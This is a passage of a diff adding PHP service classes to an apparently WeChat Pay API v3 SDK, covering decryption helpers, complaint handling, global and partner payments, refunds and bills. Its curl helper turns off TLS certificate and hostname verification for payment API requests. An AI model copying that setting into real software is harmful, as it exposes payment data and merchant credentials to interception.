if (openssl_private_decrypt(base64_decode($str), $decrypted, $this->merchantPrivateKeyInstance, OPENSSL_PKCS1_OAEP_PADDING)) {
|
||||
return $decrypted;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* 解密AEAD AES 256gcm密文
|
||||
* @param string $ciphertext AES GCM cipher text
|
||||
* @param string $nonceStr AES GCM nonce
|
||||
* @param string $associatedData AES GCM additional authentication data
|
||||
*
|
||||
* @return string|bool Decrypted string on success or FALSE on failure
|
||||
* @throws Exception
|
||||
*/
|
||||
protected function decryptToString(string $ciphertext, string $nonceStr, string $associatedData)
|
||||
{
|
||||
$ciphertext = base64_decode($ciphertext);
|
||||
if (strlen($ciphertext) <= 16) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (function_exists('sodium_crypto_aead_aes256gcm_is_available') && sodium_crypto_aead_aes256gcm_is_available()) {
|
||||
return sodium_crypto_aead_aes256gcm_decrypt($ciphertext, $associatedData, $nonceStr, $this->apiKey);
|
||||
}
|
||||
if (PHP_VERSION_ID >= 70100 && in_array('aes-256-gcm', openssl_get_cipher_methods())) {
|
||||
$ctext = substr($ciphertext, 0, -16);
|
||||
$authTag = substr($ciphertext, -16);
|
||||
|
||||
return openssl_decrypt($ctext, 'aes-256-gcm', $this->apiKey, OPENSSL_RAW_DATA, $nonceStr, $authTag, $associatedData);
|
||||
}
|
||||
|
||||
throw new Exception('AEAD_AES_256_GCM需要PHP 7.1以上或者安装libsodium-php');
|
||||
}
|
||||
|
||||
/**
|
||||
* 发起curl请求
|
||||
* @param string $method 请求方式 GET POST PUT
|
||||
* @param string $url 请求URL
|
||||
* @param array $header 请求头部
|
||||
* @param null $body POST内容
|
||||
* @param int $timeout 超时时间
|
||||
* @return array [http状态码,响应头部,响应数据]
|
||||
* @throws Exception
|
||||
*/
|
||||
protected function curl(string $method, string $url, array $header, $body = null, int $timeout = 10): array
|
||||
{
|
||||
$ch = curl_init();
|
||||
$curlVersion = curl_version();
|
||||
$ua = "wechatpay-php/" . self::$VERSION . " curl/" . $curlVersion['version'] . " (" . PHP_OS . "/" . php_uname('r') . ") PHP/" . PHP_VERSION;
|
||||
|
||||
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
|
||||
curl_setopt($ch, CURLOPT_URL, $url);
|
||||
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
|
||||
curl_setopt($ch, CURLOPT_HEADER, true);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
if ($method == 'POST') {
|
||||
curl_setopt($ch, CURLOPT_POST, true);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
|
||||
} elseif ($method == 'PUT') {
|
||||
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
|
||||
} elseif ($method == 'DELETE') {
|
||||
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
|
||||
}
|
||||
$data = curl_exec($ch);
|
||||
if (curl_errno($ch) > 0) {
|
||||
$errmsg = curl_error($ch);
|
||||
curl_close($ch);
|
||||
throw new Exception($errmsg, 0);
|
||||
}
|
||||
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
|
||||
$header = substr($data, 0, $headerSize);
|
||||
$body = substr($data, $headerSize);
|
||||
curl_close($ch);
|
||||
return [$httpCode, $header, $body];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,190 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay\V3;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 消费者投诉服务类
|
||||
* @see https://pay.weixin.qq.com/wiki/doc/apiv3/open/pay/chapter6_2_5.shtml
|
||||
*/
|
||||
class ComplainService extends BaseService
|
||||
{
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询投诉单列表
|
||||
* @param string $begin_date 开始日期,格式为yyyy-MM-DD
|
||||
* @param string $end_date 结束日期,格式为yyyy-MM-DD
|
||||
* @param int $page_no 分页号,从1开始
|
||||
* @param int $page_size 分页大小1-50,默认为10
|
||||
* @return mixed {"limit":10,"offset":0,"total_count":100,"data":[]}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function batchQuery(string $begin_date, string $end_date, int $page_no = 1, int $page_size = 10)
|
||||
{
|
||||
$path = '/v3/merchant-service/complaints-v2';
|
||||
$offset = $page_size * ($page_no - 1);
|
||||
$params = [
|
||||
'limit' => $page_size,
|
||||
'offset' => $offset,
|
||||
'begin_date' => $begin_date,
|
||||
'end_date' => $end_date
|
||||
];
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询投诉单详情
|
||||
* @param string $complaint_id 投诉单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function query(string $complaint_id)
|
||||
{
|
||||
$path = '/v3/merchant-service/complaints-v2/'.$complaint_id;
|
||||
return $this->execute('GET', $path);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询投诉协商历史
|
||||
* @param string $complaint_id 投诉单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function queryHistorys(string $complaint_id)
|
||||
{
|
||||
$path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/negotiation-historys';
|
||||
return $this->execute('GET', $path);
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建投诉通知回调地址
|
||||
* @param string $url 通知地址
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function createNotifications(string $url)
|
||||
{
|
||||
$path = '/v3/merchant-service/complaint-notifications';
|
||||
$params = [
|
||||
'url' => $url
|
||||
];
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询投诉通知回调地址
|
||||
* @return mixed {"mchid":"商户号","url":"通知地址"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function queryNotifications()
|
||||
{
|
||||
$path = '/v3/merchant-service/complaint-notifications';
|
||||
return $this->execute('GET', $path);
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新投诉通知回调地址
|
||||
* @param string $url 通知地址
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function updateNotifications(string $url)
|
||||
{
|
||||
$path = '/v3/merchant-service/complaint-notifications';
|
||||
$params = [
|
||||
'url' => $url
|
||||
];
|
||||
return $this->execute('PUT', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 删除投诉通知回调地址
|
||||
* @return void
|
||||
* @throws Exception
|
||||
*/
|
||||
public function deleteNotifications()
|
||||
{
|
||||
$path = '/v3/merchant-service/complaint-notifications';
|
||||
$this->execute('DELETE', $path);
|
||||
}
|
||||
|
||||
/**
|
||||
* 回复用户
|
||||
* @param string $complaint_id 投诉单号
|
||||
* @param string $complainted_mchid 被诉商户号
|
||||
* @param string $response_content 回复内容
|
||||
* @param array $response_images 回复图片列表
|
||||
* @return void
|
||||
* @throws Exception
|
||||
*/
|
||||
public function response(string $complaint_id, string $complainted_mchid, string $response_content, array $response_images)
|
||||
{
|
||||
$path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/response';
|
||||
$params = [
|
||||
'complainted_mchid' => $complainted_mchid,
|
||||
'response_content' => $response_content,
|
||||
'response_images' => $response_images,
|
||||
];
|
||||
$this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 反馈处理完成
|
||||
* @param string $complaint_id 投诉单号
|
||||
* @param string $complainted_mchid 被诉商户号
|
||||
* @return void
|
||||
* @throws Exception
|
||||
*/
|
||||
public function complete(string $complaint_id, string $complainted_mchid)
|
||||
{
|
||||
$path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/complete';
|
||||
$params = [
|
||||
'complainted_mchid' => $complainted_mchid,
|
||||
];
|
||||
$this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新退款审批结果
|
||||
* @param string $complaint_id 投诉单号
|
||||
* @param array $params 请求参数
|
||||
* @return void
|
||||
* @throws Exception
|
||||
*/
|
||||
public function updateRefundProgress(string $complaint_id, array $params)
|
||||
{
|
||||
$path = '/v3/merchant-service/complaints-v2/'.$complaint_id.'/update-refund-progress';
|
||||
$this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 上传反馈图片
|
||||
* @param string $file_path 文件路径
|
||||
* @param string $file_name 文件名
|
||||
* @return string
|
||||
* @throws Exception
|
||||
*/
|
||||
public function uploadImage(string $file_path, string $file_name): string
|
||||
{
|
||||
$path = '/v3/merchant-service/images/upload';
|
||||
$result = $this->upload($path, $file_path, $file_name);
|
||||
return $result['media_id'];
|
||||
}
|
||||
|
||||
/**
|
||||
* 下载图片
|
||||
* @param string $media_id 媒体文件标识ID
|
||||
* @return string
|
||||
* @throws Exception
|
||||
*/
|
||||
public function getImage(string $media_id): string
|
||||
{
|
||||
$url = self::$GATEWAY.'/v3/merchant-service/images/'.urlencode($media_id);
|
||||
return $this->download($url);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,373 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay\V3;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 全球版支付服务类
|
||||
* @see https://pay.weixin.qq.com/wiki/doc/api_external/index_ch.shtml
|
||||
*/
|
||||
class GlobalPaymentService extends BaseService
|
||||
{
|
||||
public function __construct(array $config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 付款码支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function microPay(array $params){
|
||||
$path = '/v3/global/micropay/transactions/pay';
|
||||
if (!empty($this->subMchId)) {
|
||||
$publicParams = [
|
||||
'sp_appid' => $this->appId,
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
if (!empty($this->subAppId)) {
|
||||
$publicParams['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
} else {
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
$params['trade_type'] = 'MICROPAY';
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* NATIVE支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"code_url":"二维码链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function nativePay(array $params){
|
||||
$path = '/v3/global/transactions/native';
|
||||
if (!empty($this->subMchId)) {
|
||||
$publicParams = [
|
||||
'sp_appid' => $this->appId,
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
if (!empty($this->subAppId)) {
|
||||
$publicParams['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
} else {
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
$params['trade_type'] = 'NATIVE';
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* JSAPI支付
|
||||
* @param array $params 下单参数
|
||||
* @return array Jsapi支付json数据
|
||||
* @throws Exception
|
||||
*/
|
||||
public function jsapiPay(array $params): array
|
||||
{
|
||||
$path = '/v3/global/transactions/jsapi';
|
||||
if (!empty($this->subMchId)) {
|
||||
$publicParams = [
|
||||
'sp_appid' => $this->appId,
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
if (!empty($this->subAppId)) {
|
||||
$publicParams['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
} else {
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
$params['trade_type'] = 'JSAPI';
|
||||
$result = $this->execute('POST', $path, $params);
|
||||
return $this->getJsApiParameters($result['prepay_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取JSAPI支付的参数
|
||||
* @param string $prepay_id 预支付交易会话标识
|
||||
* @return array json数据
|
||||
*/
|
||||
private function getJsApiParameters(string $prepay_id): array
|
||||
{
|
||||
$params = [
|
||||
'appId' => $this->appId,
|
||||
'timeStamp' => time().'',
|
||||
'nonceStr' => $this->getNonceStr(),
|
||||
'package' => 'prepay_id=' . $prepay_id,
|
||||
];
|
||||
$params['paySign'] = $this->makeSign([$params['appId'], $params['timeStamp'], $params['nonceStr'], $params['package']]);
|
||||
$params['signType'] = 'RSA';
|
||||
return $params;
|
||||
}
|
||||
|
||||
/**
|
||||
* H5支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"h5_url":"支付跳转链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function h5Pay(array $params){
|
||||
$path = '/v3/global/transactions/mweb';
|
||||
if (!empty($this->subMchId)) {
|
||||
$publicParams = [
|
||||
'sp_appid' => $this->appId,
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
if (!empty($this->subAppId)) {
|
||||
$publicParams['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
} else {
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
$params['trade_type'] = 'MWEB';
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* APP支付
|
||||
* @param array $params 下单参数
|
||||
* @return array APP支付json数据
|
||||
* @throws Exception
|
||||
*/
|
||||
public function appPay(array $params): array
|
||||
{
|
||||
$path = '/v3/global/transactions/app';
|
||||
if (!empty($this->subMchId)) {
|
||||
$publicParams = [
|
||||
'sp_appid' => $this->appId,
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
if (!empty($this->subAppId)) {
|
||||
$publicParams['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
} else {
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
$params['trade_type'] = 'APP';
|
||||
$result = $this->execute('POST', $path, $params);
|
||||
return $this->getAppParameters($result['prepay_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取APP支付的参数
|
||||
* @param string $prepay_id 预支付交易会话标识
|
||||
* @return array
|
||||
*/
|
||||
private function getAppParameters(string $prepay_id): array
|
||||
{
|
||||
$params = [
|
||||
'appid' => $this->appId,
|
||||
'partnerid' => $this->mchId,
|
||||
'prepayid' => $prepay_id,
|
||||
'package' => 'Sign=WXPay',
|
||||
'noncestr' => $this->getNonceStr(),
|
||||
'timestamp' => time().'',
|
||||
];
|
||||
$params['sign'] = $this->makeSign([$params['appid'], $params['timestamp'], $params['noncestr'], $params['prepayid']]);
|
||||
return $params;
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询订单,微信订单号、商户订单号至少填一个
|
||||
* @param string|null $transaction_id 微信订单号
|
||||
* @param string|null $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function orderQuery(string $transaction_id = null, string $out_trade_no = null){
|
||||
if(!empty($transaction_id)){
|
||||
$path = '/v3/global/transactions/id/'.$transaction_id;
|
||||
}elseif(!empty($out_trade_no)){
|
||||
$path = '/v3/global/transactions/out-trade-no/'.$out_trade_no;
|
||||
}else{
|
||||
throw new Exception('微信支付订单号和商户订单号不能同时为空');
|
||||
}
|
||||
|
||||
if (!empty($this->subMchId)) {
|
||||
$params = [
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
} else {
|
||||
$params = [
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
}
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 判断订单是否已完成
|
||||
* @param string $transaction_id 微信订单号
|
||||
* @return bool
|
||||
*/
|
||||
public function orderQueryResult(string $transaction_id): bool
|
||||
{
|
||||
try {
|
||||
$data = $this->orderQuery($transaction_id);
|
||||
return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND';
|
||||
} catch (Exception $e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 关闭订单
|
||||
* @param string $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function closeOrder(string $out_trade_no){
|
||||
$path = '/v3/global/transactions/out-trade-no/'.$out_trade_no.'/close';
|
||||
if (!empty($this->subMchId)) {
|
||||
$params = [
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
} else {
|
||||
$params = [
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
}
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 撤销订单
|
||||
* @param string $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function reverseOrder($out_trade_no){
|
||||
$path = '/v3/global/micropay/transactions/out-trade-no/'.$out_trade_no.'/reverse';
|
||||
if (!empty($this->subMchId)) {
|
||||
$params = [
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
} else {
|
||||
$params = [
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
}
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请退款
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function refund($params){
|
||||
$path = '/v3/global/refunds';
|
||||
if (!empty($this->subMchId)) {
|
||||
$publicParams = [
|
||||
'sp_appid' => $this->appId,
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
if (!empty($this->subAppId)) {
|
||||
$publicParams['sub_appid'] = $this->subAppId;
|
||||
}
|
||||
} else {
|
||||
$publicParams = [
|
||||
'appid' => $this->appId,
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
}
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询退款
|
||||
* @param string $out_refund_no
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function refundQuery(string $out_refund_no){
|
||||
$path = '/v3/global/refunds/out-refund-no/'.$out_refund_no;
|
||||
if (!empty($this->subMchId)) {
|
||||
$params = [
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
} else {
|
||||
$params = [
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
}
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 下载对账单
|
||||
* @param string $date
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function tradeBill(string $date){
|
||||
$path = '/v3/global/statements';
|
||||
if (!empty($this->subMchId)) {
|
||||
$params = [
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
} else {
|
||||
$params = [
|
||||
'mchid' => $this->mchId,
|
||||
];
|
||||
}
|
||||
$params['date'] = $date;
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 支付通知处理
|
||||
* @return array 支付成功通知参数
|
||||
* @throws Exception
|
||||
*/
|
||||
public function notify(): array
|
||||
{
|
||||
$data = parent::notify();
|
||||
if (!$data || !isset($data['id'])) {
|
||||
throw new Exception('缺少订单号参数');
|
||||
}
|
||||
if (!$this->orderQueryResult($data['id'])) {
|
||||
throw new Exception('订单未完成');
|
||||
}
|
||||
return $data;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,397 @@
|
||||
<?php
|
||||
|
||||
namespace WeChatPay\V3;
|
||||
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* 服务商基础支付服务类
|
||||
* @see https://pay.weixin.qq.com/wiki/doc/apiv3_partner/index.shtml
|
||||
*/
|
||||
class PartnerPaymentService extends BaseService
|
||||
{
|
||||
public function __construct(array $config)
|
||||
{
|
||||
if(strpos($config['sub_mchid'], ',')){
|
||||
$sub_mchids = explode(',', $config['sub_mchid']);
|
||||
$config['sub_mchid'] = $sub_mchids[array_rand($sub_mchids)];
|
||||
}
|
||||
parent::__construct($config);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* NATIVE支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"code_url":"二维码链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function nativePay(array $params){
|
||||
$path = '/v3/pay/partner/transactions/native';
|
||||
$publicParams = [
|
||||
'sp_appid' => $this->appId,
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_appid' => $this->subAppId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* JSAPI支付
|
||||
* @param array $params 下单参数
|
||||
* @return array Jsapi支付json数据
|
||||
* @throws Exception
|
||||
*/
|
||||
public function jsapiPay(array $params){
|
||||
$path = '/v3/pay/partner/transactions/jsapi';
|
||||
$publicParams = [
|
||||
'sp_appid' => $this->appId,
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_appid' => $this->subAppId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
$result = $this->execute('POST', $path, $params);
|
||||
return $this->getJsApiParameters($result['prepay_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取JSAPI支付的参数
|
||||
* @param string $prepay_id 预支付交易会话标识
|
||||
* @return array json数据
|
||||
*/
|
||||
private function getJsApiParameters(string $prepay_id): array
|
||||
{
|
||||
$params = [
|
||||
'appId' => $this->appId,
|
||||
'timeStamp' => time().'',
|
||||
'nonceStr' => $this->getNonceStr(),
|
||||
'package' => 'prepay_id=' . $prepay_id,
|
||||
];
|
||||
$params['paySign'] = $this->makeSign([$params['appId'], $params['timeStamp'], $params['nonceStr'], $params['package']]);
|
||||
$params['signType'] = 'RSA';
|
||||
return $params;
|
||||
}
|
||||
|
||||
/**
|
||||
* H5支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"h5_url":"支付跳转链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function h5Pay(array $params){
|
||||
$path = '/v3/pay/partner/transactions/h5';
|
||||
$publicParams = [
|
||||
'sp_appid' => $this->appId,
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_appid' => $this->subAppId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* APP支付
|
||||
* @param array $params 下单参数
|
||||
* @return array {"prepay_id":"预支付交易会话标识"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function appPay(array $params){
|
||||
$path = '/v3/pay/partner/transactions/app';
|
||||
$publicParams = [
|
||||
'sp_appid' => $this->appId,
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_appid' => $this->subAppId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
$result = $this->execute('POST', $path, $params);
|
||||
return $this->getAppParameters($result['prepay_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取APP支付的参数
|
||||
* @param string $prepay_id 预支付交易会话标识
|
||||
* @return array
|
||||
*/
|
||||
private function getAppParameters(string $prepay_id): array
|
||||
{
|
||||
$params = [
|
||||
'appid' => $this->appId,
|
||||
'partnerid' => $this->mchId,
|
||||
'prepayid' => $prepay_id,
|
||||
'package' => 'Sign=WXPay',
|
||||
'noncestr' => $this->getNonceStr(),
|
||||
'timestamp' => time().'',
|
||||
];
|
||||
$params['sign'] = $this->makeSign([$params['appid'], $params['timestamp'], $params['noncestr'], $params['prepayid']]);
|
||||
return $params;
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询订单,微信订单号、商户订单号至少填一个
|
||||
* @param string|null $transaction_id 微信订单号
|
||||
* @param string|null $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function orderQuery(string $transaction_id = null, string $out_trade_no = null){
|
||||
if(!empty($transaction_id)){
|
||||
$path = '/v3/pay/partner/transactions/id/'.$transaction_id;
|
||||
}elseif(!empty($out_trade_no)){
|
||||
$path = '/v3/pay/partner/transactions/out-trade-no/'.$out_trade_no;
|
||||
}else{
|
||||
throw new Exception('微信支付订单号和商户订单号不能同时为空');
|
||||
}
|
||||
|
||||
$params = [
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 判断订单是否已完成
|
||||
* @param string $transaction_id 微信订单号
|
||||
* @return bool
|
||||
*/
|
||||
public function orderQueryResult(string $transaction_id): bool
|
||||
{
|
||||
try {
|
||||
$data = $this->orderQuery($transaction_id);
|
||||
return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND';
|
||||
} catch (Exception $e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 关闭订单
|
||||
* @param string $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function closeOrder(string $out_trade_no){
|
||||
$path = '/v3/pay/partner/transactions/out-trade-no/'.$out_trade_no.'/close';
|
||||
$params = [
|
||||
'sp_mchid' => $this->mchId,
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请退款
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function refund(array $params){
|
||||
$path = '/v3/refund/domestic/refunds';
|
||||
$publicParams = [
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('POST', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询退款
|
||||
* @param string $out_refund_no
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function refundQuery(string $out_refund_no){
|
||||
$path = '/v3/refund/domestic/refunds/'.$out_refund_no;
|
||||
$params = [
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请交易账单
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function tradeBill(array $params){
|
||||
$path = '/v3/bill/tradebill';
|
||||
$publicParams = [
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请资金账单
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function fundflowBill(array $params){
|
||||
$path = '/v3/bill/fundflowbill';
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请单个子商户资金账单
|
||||
* @param array $params
|
||||
* @return mixed
|
||||
* @throws Exception
|
||||
*/
|
||||
public function subMerchantFundflowBill(array $params){
|
||||
$path = '/v3/bill/sub-merchant-fundflowbill';
|
||||
$publicParams = [
|
||||
'sub_mchid' => $this->subMchId,
|
||||
];
|
||||
$params = array_merge($publicParams, $params);
|
||||
return $this->execute('GET', $path, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 支付通知处理
|
||||
* @return array 支付成功通知参数
|
||||
* @throws Exception
|
||||
*/
|
||||
public function notify(): array
|
||||
{
|
||||
$data = parent::notify();
|
||||
if (!$data || !isset($data['transaction_id']) && !isset($data['combine_out_trade_no'])) {
|
||||
throw new Exception('缺少订单号参数');
|
||||
}
|
||||
if (!isset($data['combine_out_trade_no']) && !$this->orderQueryResult($data['transaction_id'])) {
|
||||
throw new Exception('订单未完成');
|
||||
}
|
||||
return $data;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 合单Native支付
|
||||
* @param array $params 下单参数
|
||||
* @return mixed {"code_url":"二维码链接"}
|
||||
* @throws Exception
|
||||
*/
|
||||
public function combineNativePay(array $params){
|
||||
$path = '/v3/combine-transactions/native';
|
||||
$publicParams = [
|
||||
'combine_appid' => $this->appId,
|
||||
'combine_mchid' => $this->mchId,
|
||||
];
|
||||
foreach($params['sub_orders'] as &$order){
|
||||
$order['mchid'] = $this->mchId;
|
||||
